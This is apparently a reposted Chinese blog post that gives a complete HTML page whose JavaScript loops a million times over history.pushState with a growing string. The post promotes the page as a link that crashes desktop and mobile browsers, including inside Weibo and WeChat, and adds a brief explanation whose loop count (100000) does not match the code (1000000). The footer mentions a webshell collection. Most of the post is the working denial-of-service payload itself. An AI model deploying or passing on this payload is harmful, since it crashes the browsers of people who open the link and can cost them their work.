让浏览器奔溃的代码-转在网络


使用这十二行JavaScript代码能让firefox、chrome、safari等众多浏览器崩溃,甚至让iPhone重启,如果你是PC端用户,点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死,你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信点开链接也同样会闪退。

<html>

<body>

<script>

var total="";

for (var i=0;i<1000000;i++)

{

   total= total+i.toString();

   history.pushState(0,0,total);

}

</script>

</body>

</html>

解答:
history.pushstate()是HTML5引入的API,pushState将指定的URL添加到浏览器历史里,存储当前历史记录点。 当 i<100000 的时候会循环的将 total记录到浏览器历史里面,重复多了,浏览器就承受不住了,自然就崩了。

声明:GhostKylin‘S BLOG|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - 让浏览器奔溃的代码-转在网络


你好!世界!XladminShell箱子仅供个人学习使用务必遵守《网络安全法》